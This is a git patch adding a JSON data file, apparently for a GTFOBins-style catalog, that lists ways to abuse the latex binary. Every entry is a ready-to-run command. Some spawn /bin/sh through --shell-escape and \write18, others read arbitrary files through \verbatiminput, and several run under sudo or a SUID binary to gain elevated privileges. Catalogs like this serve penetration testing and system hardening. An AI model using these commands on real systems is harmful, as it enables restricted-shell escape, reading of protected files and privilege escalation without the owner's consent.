From 1d28ab61f9b2f9d8cc1c2cf9de3fac56427aef28 Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sun, 2 May 2021 13:53:03 +0200 Subject: [PATCH] add data source for latex --- data/latex.json | 29 +++++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) create mode 100644 data/latex.json diff --git a/data/latex.json b/data/latex.json new file mode 100644 index 0000000..648edb5 --- /dev/null +++ b/data/latex.json @@ -0,0 +1,29 @@ +{ + "functions": { + "shell": [ + { + "code": "latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ], + "file-read": [ + { + "description": "The read file will be part of the output.", + "code": "latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n" + } + ], + "sudo": [ + { + "description": "The read file will be part of the output.", + "code": "sudo latex '\\documentclass{article}\\usepackage{verbatim}\\begin{document}\\verbatiminput{[file]}\\end{document}'\nstrings article.dvi\n" + }, + { + "code": "sudo latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ], + "limited-suid": [ + { + "code": "./latex --shell-escape '\\documentclass{article}\\begin{document}\\immediate\\write18{/bin/sh}\\end{document}'\n" + } + ] + } +}